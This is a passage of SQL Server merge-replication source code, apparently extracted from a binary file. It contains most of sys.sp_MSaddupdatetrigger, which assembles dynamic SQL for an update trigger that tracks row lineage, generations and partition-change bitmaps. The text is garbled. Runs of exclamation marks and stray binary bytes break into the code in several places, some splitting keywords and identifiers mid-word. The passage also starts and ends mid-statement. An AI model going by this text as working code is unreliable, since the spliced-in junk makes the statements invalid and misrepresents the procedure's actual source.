                        (select  ' + @immediate_child_table_name + '.' + @child_rgcol + ' 
                        from inserted ' 
                        + quotename(object_name(@objid)) + ', ' 
                        + @owner_qualified_immediate_child_table_name + ' ' 
                        + @immediate_child_table_name
                        + ' with (rowlock) where '
                        + '(' + @join_filterclause + ')' + ')
                        and not exists 
                            (select * from ' + @viewname + ' mc with (rowlock)
                            where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                            and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                    
                         '
                         
            end
            else
            begin
                if @logical_record_view is not null
                    set @command3 = '
                if @article_rows_updated = 1
                    insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker)
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from ' + @basetable_ownerqualified_replviewname + ' '
                    + quotename(object_name(@objid)) +  ' with (rowlock), ' 
                    + @owner_qualified_immediate_child_table_name + ' ' 
                    + @immediate_child_table_name  
                    + ' with (rowlock) where '
                    + quotename(object_name(@objid)) + '.' + @rgcol + ' = @rowguid and '
                    + '(' + @join_filterclause + ')' + '
                    and not exists 
                        (select * from ' + @viewname + ' mc with (rowlock)
                        where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                        and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                else'
                else
                    set @command3 = ''
                set @command3 = @command3 + '
                    insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, generation, lineage, colv1, marker)
                    select ' + convert(nvarchar, @immediate_child_nickname) + ', ' + @immediate_child_table_name + '.' + @child_rgcol + ', 0, @lineage, @cv, @child_marker
                    from inserted ' 
                    + quotename(object_name(@objid)) + ', ' 
                    +  @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name  
                        + ' with (rowlock) where '
                    + '(' + @join_filterclause + ')' + '
                    and not exists 
                        (select * from ' + @viewname + ' mc with (rowlock)
                        where mc.tablenick = ' + convert(nvarchar, @immediate_child_nickname) + ' 
                        and rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + ')
                     '
            end

            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            select @command3 = '
                end    
            end'
            insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

            if @logical_record_view is null
            begin
                select @command3 = '
            if @deleted_child_rowcount > 0
            begin '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
            
                if @join_unique_key = 0 or @parent_columns_unique = 0
                begin
                    select @command3 = '
                update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                from ' + @viewname + ' mc with (rowlock)
                where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + ' 
                and mc.rowguid in 
                      (select ' + @immediate_child_table_name + '.' + @child_rgcol + ' from
                             deleted ' + quotename(object_name(@objid)) + ', '
                            + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name 
                            + ' with (rowlock) 
                    where ' + '(' + @join_filterclause + ')' + ') '
                end
                else
                begin
                    select @command3 = '               
                        update ' + @viewname + ' with (rowlock) set generation = 0, marker = @child_marker,
                        lineage = { fn UPDATELINEAGE(lineage, @replnick, @child_oldmaxversion+1) }
                        from 
                        deleted ' + quotename(object_name(@objid)) + ', ' 
                        + @owner_qualified_immediate_child_table_name + ' ' + @immediate_child_table_name + ' with (rowlock), '
                        + @viewname + ' mc with (rowlock)
                        where mc.tablenick = ' + convert (nvarchar, @immediate_child_nickname) + '
                        and mc.rowguid = ' + @immediate_child_table_name + '.' + @child_rgcol + '          
                        and ' + '(' + @join_filterclause + ') '
                end
        
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)
                
                select @command3 = '
                select @child_metadatarows_updated = @@rowcount '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                select @command3 = '
                if @child_metadatarows_updated < @deleted_child_rowcount '
                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                set @command3 = '
                begin
                    set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @child_oldmaxversion+1) } '

                insert into #tmptriggercmd (phase, cmdtext) values(14, @command3)

                if @child_has_col_tracking = 1
                    set @command3 =  '
                    set @cv = 0xFF '
                else 
              !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(p
6޿5vh
create procedure sys.sp_MSaddupdatetrigger 
    @source_table       nvarchar(776),      /* source table name */
    @owner              sysname,            /* Owner name of source table */
    @object             sysname,            /* Object name */
    @artid              uniqueidentifier,   /* Article id */
    @column_tracking    int,
    @viewname           sysname,            /* name of view on MSmerge_contents */
    @trigname           sysname,
    @current_mappings_viewname sysname,
    @past_mappings_viewname sysname,
    @genhistory_viewname sysname
    
AS
    declare @command1 nvarchar(max)
    declare @command2 nvarchar(max)
    declare @command3 nvarchar(max)
    declare @command4 nvarchar(max)
    declare @command5 nvarchar(max)
    declare @command6 nvarchar(max)
    declare @command7 nvarchar(max)
    declare @command8 nvarchar(max)
    declare @command9 nvarchar(max)
    
    declare @inscommand nvarchar(2000)
    declare @tablenick int    
    declare @replnick binary(6)
    declare @viewcols int
    declare @gstr sysname
    declare @tablenickchar nvarchar(11)
    declare @ccols int
    declare @guidstr nvarchar(32)
    declare @colid smallint

    declare @colname     sysname
    declare @cur_name    sysname
    declare @colchar nvarchar(5)
    declare @piece nvarchar(400)

    declare @retcode int
    declare @ifcol nvarchar(4000)
    declare @partchangecnt int
    declare @joinchangecnt int
    declare @logicalrelationchangecnt int
    declare @partchangecnt2 int
    declare @cvstr1    nvarchar(500)
    declare @cvstr2 nvarchar(500)
    declare @missing_cols varbinary(128)
    declare @mapdownbm varbinary(500)
    declare @mapupbm   varbinary(500)
    declare @timestampbm   varbinary(500)
    declare @timestampbmstr varchar(1000)
    declare @missingcolid int
    declare @maxcolid int
    declare @mapdownbmstr varchar(1000)
    declare @mapupbmstr   varchar(1000)
    declare @objid int
    declare @sync_objid int
    declare @partchbm varbinary(500)
    declare @logicalrelationchbm varbinary(500)
    declare @joinchbm varbinary(500)
    declare @partchstr varchar(1002)
    declare @logicalrelationchstr varchar(1002)
    declare @joinchstr varchar(1002)
    declare @column_hole bit
    declare @notforrepl_bit bit
    declare @notforrepl_str1 nvarchar(400)
    declare @notforrepl_str2 nvarchar(400)
    declare @rgcol nvarchar(270)
    declare @child_rgcol nvarchar(270)
    declare @child_has_col_tracking int
    declare @logical_record_view int
    declare @logical_record_deleted_view_rule nvarchar(max)
    declare @subscriber_of_wellpartitionedarticle bit
    declare @article_name nvarchar(130)
    declare @partition_options tinyint
    declare @str_objid nvarchar(15)
    declare @is_republisher_of_article bit
    -- prepare quoted table name
    declare @quoted_source_table_name nvarchar(400)
    declare @dbname nvarchar(130)
    declare @UnqualName    sysname  --rightmost name node
    declare @QualName1     sysname  
    declare @is_top_level_logical_record_parent bit
    declare @logical_record_parent_nickname int
    declare @max_colv_size_in_bytes int
    declare @article_published bit
    declare @gen_change_threshold int
    declare @level_generations_in_trigger bit
    declare @child_cannot_pre_exist bit
    declare @parent_columns_unique bit
    declare @join_filter_id int

    select @parent_columns_unique = 0

    select @UnqualName = PARSENAME(@source_table, 1)
    select @QualName1 = PARSENAME(@source_table, 2)
    if @UnqualName IS NULL
         return 1

    if @QualName1 is NULL
         select @QualName1 = schema_name(schema_id) from sys.objects where name=@UnqualName

    set @dbname=PARSENAME(@source_table, 3)
    if @dbname IS NULL
        select @dbname = DB_NAME() 
    set @quoted_source_table_name=QUOTENAME(@dbname)+ '.' +QUOTENAME(@QualName1)+ '.' +QUOTENAME(@UnqualName)
                
    set @notforrepl_bit = 1
    set @ifcol = ''
    set @column_hole = 0
    set @subscriber_of_wellpartitionedarticle = 0
    
    exec @retcode = sys.sp_MSissubscriber_of_wellpartitionedarticle @artid, @subscriber_of_wellpartitionedarticle output
    if @@error <> 0 or @retcode <> 0
        return 1

    set @objid = OBJECT_ID(@source_table)
    set @str_objid = convert(nvarchar, @objid)
    
    if exists (select * from dbo.sysmergearticles where objid = @objid and column_tracking = 1)
    begin
        declare @current_col_count int, @missing_col_count int
        select @current_col_count = count(*) 
            from sys.columns where object_id = @objid
        select @missing_col_count = coalesce((select max(missing_col_count) 
            from dbo.sysmergearticles where objid = @objid), 0)
        -- 12 bytes per column in table + 1 trailing byte for colv.
        select @max_colv_size_in_bytes = 12 * (@current_col_count + @missing_col_count) + 1
        if @max_colv_size_in_bytes > 2953
            select @max_colv_size_in_bytes = 2953
    end
    else
        select @max_colv_size_in_bytes = 1
    
    -- Find the bitmap of timestamp columns. The trigger needs to exclude them from
    -- the result of column_updated(). The reason therefore is that we want the colv
    -- to not show changes for those columns, in order to prevent a false conflict.
    -- As the @bm is also used for rowtracked, e.g., for partition changes, we also
    -- do this there, so that the @bm looks the same both times.
    if exists (select * from dbo.sysmergearticles where objid=@objid)
    begin
        exec @retcode= sys.sp_MSset_timestamp_bm
                            @timestampbm= @timestampbm output,
                            @objid= @objid
        
        if @@error <> 0 or @retcode <> 0 return 1
    end
    else
    begin
        set @timestampbm= 0x00
    end

    exec sys.xp_varbintohexstr @timestampbm, @timestampbmstr output
    
    select top 1 @sync_objid = sync_objid, @missing_cols = missing_cols,
            @article_name = sma.name,
            @partition_options = partition_options
            from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
            where sma.artid= @artid 
            and sma.objid=@objid
            and sma.artid = smaw.artid
            and sma.pubid = smaw.pubid
            
            
    select top 1 @logical_record_view = logical_record_view,
            @logical_record_deleted_view_rule = logical_record_deleted_view_rule
            from dbo.sysmergearticles sma, dbo.sysmergepartitioninfo smaw
            where sma.artid= @artid 
            and sma.objid=@objid
            and sma.artid = smaw.artid
            and sma.pubid = smaw.pubid
            and smaw.logical_record_parent_nickname is not null
            
    select @ccols = count(*) from sys.columns where object_id = @objid and is_computed <> 1 and system_type_id <> type_id('timestamp')
    /* Figure out if there are any holes in the colid sequence */
    select @maxcolid = max(column_id) from sys.columns where object_id = @objid
    if @ccols <> @maxcolid
        select @column_hole = 1
    
    execute @retcode=sys.sp_MStablenickname @owner, @object, @tablenick output
    if @@ERROR<>0 or @retcode<>0 return (1)
            
    exec @retcode= sys.sp_MSgetreplnick @replnick = @replnick out
    if @retcode<>0 or @@error<>0 
        return 1

    select @is_top_level_logical_record_parent = 0
    
    if @logical_record_view is not null
    begin
        select top 1 @logical_record_parent_nickname = logical_record_parent_nickname 
        from dbo.sysmergepartitioninfo 
        where artid = @artid
        and logical_record_parent_nickname is not null
        
        if @logical_record_parent_nickname = @tablenick
            select @is_top_level_logical_record_parent = 1
    end
    
    if exists (select * from dbo.sysmergearticles where nickname = !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(q
6__:vh@tablenick
                        and sys.fn_MSmerge_islocalpubid(pubid) = 1)
        select @article_published = 1
    else
        select @article_published = 0

    select @gen_change_threshold = min(isnull(generation_leveling_threshold,0)) from dbo.sysmergepublications
        where pubid in (select pubid from dbo.sysmergearticles where nickname = @tablenick)
    if @gen_change_threshold = 0 or @article_published = 0
        select @level_generations_in_trigger = 0
    else
        select @level_generations_in_trigger = 1

    set @tablenickchar = convert(nchar, @tablenick)
    set @joinchbm = 0x0
    set @partchbm = 0x0
    set @logicalrelationchbm = 0x0
    
    select @rgcol = name from sys.columns where object_id = @objid and is_rowguidcol = 1

    -- Check if the update trigger can be made NOT FOR REPLICATION
    if exists (select * from dbo.sysmergearticles 
               where nickname = @tablenick 
               and
               (before_image_objid is not null or
                before_view_objid is not null or
                datalength (subset_filterclause) > 1
               ))
    begin
        select @notforrepl_bit = 0
    end
    else if exists (select * from dbo.sysmergesubsetfilters where art_nickname = @tablenick or join_nickname = @tablenick)
    begin
        select @notforrepl_bit = 0
    end
    else if exists (select * from dbo.sysmergearticles where nickname = @tablenick and pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1))
    begin
        select @notforrepl_bit = 0
    end
    else
    begin
        select @notforrepl_bit = 1
    end
    
    if exists (select * from dbo.sysmergepartitioninfoview 
                            where artid = @artid
                            and partition_options = 2
                            and sys.fn_MSmerge_islocalpubid(pubid) = 0)
                and exists (select * from dbo.sysmergepartitioninfoview 
                            where artid = @artid
                            and partition_options = 2
                            and sys.fn_MSmerge_islocalpubid(pubid) = 1)
    begin
        --republisher of multiple-hop well-partitioned articles (partition based filtering)
        select @notforrepl_str1 = ' '
        select @notforrepl_str2 = ' 
    if (select trigger_nestlevel()) = 1 and @is_mergeagent = 1
        return '
    end
    else if @partition_options = 2 or @partition_options = 3
    begin
        select @notforrepl_bit = 1
        select @notforrepl_str1 = ' not for replication '
        select @notforrepl_str2 = ' '
    end
    else
    begin
        select @notforrepl_str1 = ' '
        select @notforrepl_str2 = ' 
    if (select trigger_nestlevel()) = 1 and @is_mergeagent = 1
        return '
    end
    
    /* Don't let them update the rowguid column */
    set @ifcol = '
    if update(' + QUOTENAME(@rgcol) +    ')
    begin
        if @@trancount > 0
            rollback tran
                
        RAISERROR (20062, 16, -1)
    end '
        
    declare col_cursor CURSOR LOCAL FAST_FORWARD for select name, column_id from sys.columns where
		object_id = @objid  and is_computed <> 1 and system_type_id <> type_id('timestamp') order by column_id
	FOR READ ONLY
	
	/* Try to set the ifcol pieces of the trigger */
	open col_cursor
	fetch next from col_cursor into @colname, @colid
	while (@@fetch_status <> -1)
	begin
	            
		/* does updating this column change membership in a partial replica? */
		select @partchangecnt = count(*) from dbo.sysmergearticles 
			where nickname = @tablenick and 
					sys.fn_MSisfilteredcolumn(subset_filterclause, @colname, @objid) = 1
	                                            
		select @partchangecnt2 = count(*) from dbo.sysmergesubsetfilters
			where art_nickname = @tablenick and 
					sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1 and 
					(filter_type & 1) = 1
	                                            
		select @joinchangecnt = count(*) from dbo.sysmergesubsetfilters
				where join_nickname = @tablenick and 
					sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1 and 
					(filter_type & 1) = 1
	                                                
		select @logicalrelationchangecnt = count(*) from dbo.sysmergesubsetfilters
				where (join_nickname = @tablenick or art_nickname = @tablenick)
				and sys.fn_MSisfilteredcolumn(join_filterclause, @colname, @objid) = 1 
				and (filter_type & 2) = 2
	            
		if @partchangecnt > 0 or @partchangecnt2 > 0
			exec sys.sp_MSsetbit @partchbm out, @colid
		if @joinchangecnt > 0
			exec sys.sp_MSsetbit @joinchbm out, @colid
		if @logicalrelationchangecnt > 0
			exec sys.sp_MSsetbit @logicalrelationchbm out, @colid
		/* Repeat the loop with next column */
		fetch next from col_cursor into @colname, @colid
	end
	close col_cursor
	deallocate col_cursor

	-- Initialize string for inserting to before_image table
	exec sys.sp_MSgetbeforetableinsert @objid, @inscommand output

	/* Make strings to initialize variables for partchange, joinchange bitmaps */
	exec sys.xp_varbintohexstr @partchbm, @partchstr out
	exec sys.xp_varbintohexstr @joinchbm, @joinchstr out
	exec sys.xp_varbintohexstr @logicalrelationchbm, @logicalrelationchstr out


    select @mapdownbm =0x00
    select @mapupbm = 0x00
    /*
    ** To see if there is a need for map down.
    */
    if @column_hole<>0
    begin
        set @missingcolid = 1
        while (@missingcolid <= @maxcolid)
        begin
            if not exists (select * from sys.columns where column_id = @missingcolid and
                        object_id = OBJECT_ID(@source_table) and is_computed <> 1 and system_type_id <> type_id('timestamp'))

                    exec sys.sp_MSsetbit @mapdownbm out, @missingcolid
            set @missingcolid = @missingcolid + 1
        end
    end
    set @mapupbm = @missing_cols -- do this at both sides, good for republishing.
    
    exec sys.xp_varbintohexstr @mapdownbm, @mapdownbmstr out
    exec sys.xp_varbintohexstr @mapupbm, @mapupbmstr out
        
    if @column_tracking <> 0
        begin
        /* Set cv pieces appropriately */
        set @cvstr1 = ' 
            set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
            set @cv = 0xFF
            if (@@error <> 0)
                begin
                goto FAILURE
                end
            set @cv = { fn UPDATECOLVBM(@cv, @replnick, @bm, @missingbm, { fn GETMAXVERSION(@lineage) }) }
        '
        set @cvstr2 = '
                colv1 = { fn UPDATECOLVBM(colv1, @replnick, @bm, @missingbm, { fn GETMAXVERSION({ fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }) }) } '
        end
    else
        begin
        set @cvstr1 = '   set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
            set @cv = NULL
     '
        set @cvstr2 = ' colv1 = NULL '
        end
    /* UNDONE maybe remove null guid checks in SQL SERVER 7.0 */
    select @command1 = '
create trigger ' + @trigname + ' on ' + @quoted_source_table_name + ' FOR UPDATE ' + @notforrepl_str1 + ' AS 
    declare @is_mergeagent bit, @at_publisher bit, @retcode int 

    set rowcount 0
    set transaction isolation level read committed
'

    if exists (select * from dbo.sysmergearticles where nickname = @tablenick 
                and (pubid in (select pubid from dbo.sysmergepublications where use_partition_groups = 1)
                        or published_in_tran_pub = 1))
    begin
        select @command1 = @command1 + '
        exec @retcode = sys.sp_MSisreplmergeagent @is_mergeagent output, @at_publisher output
        if @@error <> 0 or @retcode <> 0
        begin
            rollback tran
            return
        end '
    end
    else
    begin
        select @command1 = @command1 + '
        se!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(r
6 ~Hvhlect @is_mergeagent = convert(bit, sessionproperty(''replication_agent''))
        select @at_publisher = 0 '
    end
    
    if (@notforrepl_bit = 1)
        select @command1 = @command1 + @notforrepl_str2
        
    if @partition_options = 2 or @partition_options = 3
        select @command1 = @command1 + '
        if @is_mergeagent = 1 and @at_publisher = 1
            return '
    insert into #tmptriggercmd(phase, cmdtext) values (1, @command1)

    select @command1 = ' 
    declare @article_rows_updated int
    -- Should use @@rowcount below but there is a bug because of which sometimes in the presence of 
    -- other triggers on the table, the @@rowcount cannot be relied on.
    select @article_rows_updated = count(*) from inserted 
    
    if @article_rows_updated=0
        return
    declare @contents_rows_updated int, @updateerror int, @rowguid uniqueidentifier
    , @bm varbinary(500), @missingbm varbinary(500), @lineage varbinary(311), @cv varbinary(' + convert(nvarchar(13), @max_colv_size_in_bytes) + '), @partchangebm varbinary(500), @joinchangebm varbinary(500), @logicalrelationchangebm varbinary(500)
    , @tablenick int, @partchange int, @joinchange int, @logicalrelationchange int, @oldmaxversion int
    , @partgen bigint, @newgen bigint, @child_newgen bigint, @child_oldmaxversion int, @child_metadatarows_updated int
    , @logical_record_parent_oldmaxversion int, @logical_record_lineage varbinary(311), @logical_record_parent_regular_lineage varbinary(311), @logical_record_parent_gencur bigint, @logical_record_parent_rowguid uniqueidentifier
    , @replnick binary(6), @num_parent_rows int, @parent_row_inserted bit 
    declare @dt datetime
    declare @nickbin varbinary(8)
    declare @error int
    declare @null_lineage_updated bit'
    
    if @logical_record_view is not null and (@is_top_level_logical_record_parent = 0 or @article_published = 1)
        select @command1 = @command1 + '
    declare @logical_record_distinct_parent_rowguids table (logical_record_parent_rowguid uniqueidentifier, unique(logical_record_parent_rowguid)) 
    declare @logical_record_distinct_parent_rowguids_copy table (logical_record_parent_rowguid uniqueidentifier, unique(logical_record_parent_rowguid))
    declare @logical_record_distinct_parents_count int'

    insert into #tmptriggercmd(phase, cmdtext) values (1, @command1)


        select @command1 = '
    set nocount on

    set @tablenick = ' + @tablenickchar + '
    
    select @replnick = ' + sys.fn_varbintohexstr(@replnick) + ' 
    select @nickbin = @replnick + 0xFF
    
    select @null_lineage_updated = 0

    select @oldmaxversion = maxversion_at_cleanup from dbo.sysmergearticles where nickname = @tablenick
    select @dt = getdate()
    
    -- Use intrinsic funtion to set bits for updated columns
    set @bm = columns_updated()'
    insert into #tmptriggercmd(phase, cmdtext) values (1, @command1)
        
    select @command1 = '
    select @newgen = NULL
    select top 1 @newgen = generation from ' + @genhistory_viewname + ' with (rowlock, updlock, readpast) 
        where art_nick = ' + @tablenickchar + ' and 
            genstatus = 0 '
    if @level_generations_in_trigger = 1
        select @command1 = @command1  + ' and
            changecount <= (' + convert(nvarchar, @gen_change_threshold) + ' - isnull(@article_rows_updated,0))'
    select @command1 = @command1  + '
    if @newgen is NULL
    begin
        insert into ' + @genhistory_viewname + ' with (rowlock)
        (guidsrc, genstatus, art_nick, nicknames, coldate, changecount)
             values   (newid(), 0, @tablenick, @nickbin, @dt, @article_rows_updated)
        select @error = @@error, @newgen = @@identity    
        if @error<>0 or @newgen is NULL
            goto FAILURE
    end'
    if @level_generations_in_trigger = 1
        select @command1 = @command1  + '     
    else
    begin
        -- now update the changecount of the generation we go to reflect the number of rows we put in this generation
        update ' + @genhistory_viewname + ' with (rowlock)
            set changecount = changecount + @article_rows_updated
            where generation = @newgen 
        if @@error<>0 goto FAILURE
    end'
    
    if @timestampbm <> 0x00
    begin
        select @command1 = @command1 + '
        -- Remove timestamp columns from columns_updated(), so that colv does not show a false conflict.
        exec @retcode= sys.sp_firstonly_bitmap
                        @inputbitmap1= @bm, 
                        @inputbitmap2= ' + @timestampbmstr + ',
                        @resultbitmap3= @bm output

        if @@error<>0 or @retcode<>0 goto FAILURE'
    end

    select @command1 = @command1 + ' 

    /* save a copy of @bm */
    declare @origin_bm varbinary(500)
    set  @origin_bm =  @bm

    /* only do the map down when needed */
    set @missingbm = ' + @mapupbmstr

    insert into #tmptriggercmd(phase, cmdtext) values (1, @command1)

    -- Checking for updating a row with lineage = 0x00 only needs to be done if
    -- this article is partitioned and a child article.  This is due to the fact
    -- that 0x00 will only be inserted by the insertion of a parent row that
    -- must insert contents entries for it's children.
    select @command2 = ''
    if exists (select partition_view_id from dbo.sysmergepartitioninfo where artid = @artid and 
        pubid in (select pubid from dbo.sysmergesubsetfilters where artid = @artid) 
        and partition_view_id is not null)
    begin
    	select @command2 = '  
    	/* See if we will be updating contents rows that have 0x00 lineage.	 If so, we will need to insert cpmv entries */
    	if exists (select * from inserted as I JOIN ' + @viewname + ' as V with (rowlock) 
    		ON (I.rowguidcol=V.rowguid)
    		and V.tablenick = @tablenick
    		and V.lineage = 0x00)
    	begin
    		select @null_lineage_updated = 1
    	end
       '
    end
    select @command2 = @command2 + '
	/* See if the partition might have changed */ ' + case when @partchbm = 0x0 then '
		set @partchange = 0 '
	else '
		set @partchange= { fn INTERSECTBITMAPS (@bm, @partchangebm) } '
	end + '    
	/* See if a column used in a join filter changed */ ' + case when @joinchbm = 0x0 then '
		set @joinchange = 0 '
	else '
		set @joinchange= { fn INTERSECTBITMAPS (@bm, @joinchangebm) } '
	end + '
	/* See if a column used in a logical record relationship changed */ ' + case when @logicalrelationchbm = 0x0 then '
		set @logicalrelationchange = 0 '
	else '
		set @logicalrelationchange= { fn INTERSECTBITMAPS (@bm, @logicalrelationchangebm) } 
		if @logicalrelationchange = 1 and @is_mergeagent = 0
		begin
			raiserror(22530, 16, -1, ''' + @article_name + ''')
			if @@trancount > 0
				rollback tran
			return
		end '
	end 

	
    if @mapdownbm<>0x00
        select @command2 = @command2 + ' 
    execute sp_mapdown_bitmap ' + @mapdownbmstr +', @bm output '
    
    if @subscriber_of_wellpartitionedarticle = 1
    begin
        select @command2 = @command2 + '
    if (@joinchange = 1 or @partchange = 1) and (@is_mergeagent = 0 or (select trigger_nestlevel()) <> 1)
    begin
        raiserror(21583, 16, -1, ''' + @article_name + ''')
        if @@trancount > 0
            rollback tran
        return
    end '
    end
    else
      -- if partition_options is 1, we do not allow DML on that subscriber that will cause partition changes 
      -- yiche,  bug 405196
        if @partition_options = 1 and @article_published = 0 
        begin
        select @command2 = @command2 + '
    if (@joinchange = 1 or @partchange = 1) and (@is_mergeagent = 0 or (select trigger_nestlevel()) <> 1)
    begin
    raiserror(20733, 16, -1, ''' + @article_name + ''', ' + convert(char(3), @partition_options) + ')
    if @@trancount > 0
        rollback tran
        return
    end '
        end 

    s!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(s
6"vhelect @command2 = @command2 + '
    ' + @cvstr1 + '
    if @joinchange = 1 or @partchange = 1
        set @partgen = @newgen
' 
    insert into #tmptriggercmd(phase, cmdtext) values (8, @command2)

    select @command3 = '
    else    
        set @partgen = NULL'

    if @logical_record_view is not null
    begin
        if @is_top_level_logical_record_parent = 0
        begin
            set @command3 = @command3 + '
    if @article_rows_updated = 1
    begin
        select @rowguid = rowguidcol from inserted
        
        update ' + @viewname + ' with (rowlock)
        set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }, 
            generation = @newgen, 
            partchangegen = case when (@partchange = 1 or @joinchange = 1) then @newgen else partchangegen end, 
            ' + @cvstr2 + ' 
        where tablenick = @tablenick
        and rowguid = @rowguid

        select @updateerror = @@error, @contents_rows_updated = @@rowcount 
        ' + case when @inscommand is null or @inscommand = ' ' then ' ' else ' if @joinchange = 1 or @partchange = 1 ' + @inscommand end + ' 
        if @article_rows_updated <> @contents_rows_updated
        begin '
        
            insert into #tmptriggercmd(phase, cmdtext) values (9, @command3)
    
            select @command3= '
            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid) 
            select @tablenick, @rowguid, @lineage, @cv, @newgen, @partgen, logical_record_parent_rowguid
            from ' + object_name(@logical_record_view) + ' lrv
            where lrv.' + @rgcol + ' = @rowguid
            and not exists (select rowguid from ' + @viewname + ' with (rowlock) where tablenick = @tablenick and rowguid = @rowguid) '

            select @command3 = @command3 + '    
                if @@error <> 0
                    GOTO FAILURE
        end 
    end
    else 
    begin'
        end
        else    -- is_top_level_logical_record_parent = 1
        begin
        set @command3 = @command3 + '
    if @article_rows_updated = 1
    begin
        select @rowguid = rowguidcol from inserted
        
        update ' + @viewname + ' with (rowlock)
        set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }, 
            logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @oldmaxversion+1) }, 
            logical_record_parent_rowguid = @rowguid,
            generation = @newgen, 
            partchangegen = case when (@partchange = 1 or @joinchange = 1) then @newgen else partchangegen end, 
            ' + @cvstr2 + ' 
        where tablenick = @tablenick
        and rowguid = @rowguid

        select @updateerror = @@error, @contents_rows_updated = @@rowcount 
        ' + case when @inscommand is null or @inscommand = ' ' then ' ' else ' if @joinchange = 1 or @partchange = 1 ' + @inscommand end + ' 
        if @article_rows_updated <> @contents_rows_updated
        begin '
        
            insert into #tmptriggercmd(phase, cmdtext) values (9, @command3)
    
            select @command3= '
            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid, logical_record_lineage) 
            select @tablenick, @rowguid, @lineage, @cv, @newgen, @partgen, @rowguid, @lineage
            where not exists (select rowguid from ' + @viewname + ' with (rowlock) where tablenick = @tablenick and rowguid = @rowguid) '

            select @command3 = @command3 + '    
                if @@error <> 0
                    GOTO FAILURE
        end 
    end
    else
    begin'
        end
    end
    
    insert into #tmptriggercmd(phase, cmdtext) values (9, @command3)
    
    if @is_top_level_logical_record_parent = 0
        select @command3 = '
        update ' + @viewname + ' with (rowlock)
        set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }, 
            generation = @newgen, 
            partchangegen = case when (@partchange = 1 or @joinchange = 1) then @newgen else partchangegen end, 
            ' + @cvstr2 + ' 
        FROM inserted as I JOIN ' + @viewname + ' as V with (rowlock)
        ON (I.rowguidcol=V.rowguid)
        and V.tablenick = @tablenick
        option (force order, loop join)

        select @updateerror = @@error, @contents_rows_updated = @@rowcount 
        ' + case when @inscommand is null or @inscommand = ' ' then ' ' else ' if @joinchange = 1 or @partchange = 1 ' + @inscommand end + ' 
        if @article_rows_updated <> @contents_rows_updated
        begin '
    else 
        select @command3 = '
        update ' + @viewname + ' with (rowlock)
        set lineage = { fn UPDATELINEAGE(lineage, @replnick, @oldmaxversion+1) }, 
            generation = @newgen, 
            logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @oldmaxversion+1) }, 
            logical_record_parent_rowguid = I.rowguidcol,
            partchangegen = case when (@partchange = 1 or @joinchange = 1) then @newgen else partchangegen end, 
            ' + @cvstr2 + ' 
        FROM inserted as I JOIN ' + @viewname + ' as V with (rowlock)
        ON (I.rowguidcol=V.rowguid)
        and V.tablenick = @tablenick
        option (force order, loop join)

        select @updateerror = @@error, @contents_rows_updated = @@rowcount 
        ' + case when @inscommand is null or @inscommand = ' ' then ' ' else ' if @joinchange = 1 or @partchange = 1 ' + @inscommand end + ' 
        if @article_rows_updated <> @contents_rows_updated
        begin '
    
    insert into #tmptriggercmd(phase, cmdtext) values (9, @command3)
    
    if @logical_record_view is null
        select @command3= '
            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen) 
            select @tablenick, rowguidcol, @lineage, @cv, @newgen, @partgen
            from inserted i 
            where not exists (select rowguid from ' + @viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol) '
    else if @is_top_level_logical_record_parent = 0
        select @command3= '
            insert into ' + @viewname + ' with (rowlock) (tablenick, rowguid, lineage, colv1, generation, partchangegen, logical_record_parent_rowguid) 
            select @tablenick, i.rowguidcol, @lineage, @cv, @newgen, @partgen, logical_record_parent_rowguid
            from inserted i, ' + object_name(@logical_record_view) + ' lrv with (rowlock)
            where i.rowguidcol = lrv.' + @rgcol + '
            and not exists (select rowguid from ' + @viewname + ' with (readcommitted, rowlock, readpast) where tablenick = @tablenick and rowguid = i.rowguidcol) 
            '
    else -- @is_top_level_logical_record_parent = 1
        select @command3= '
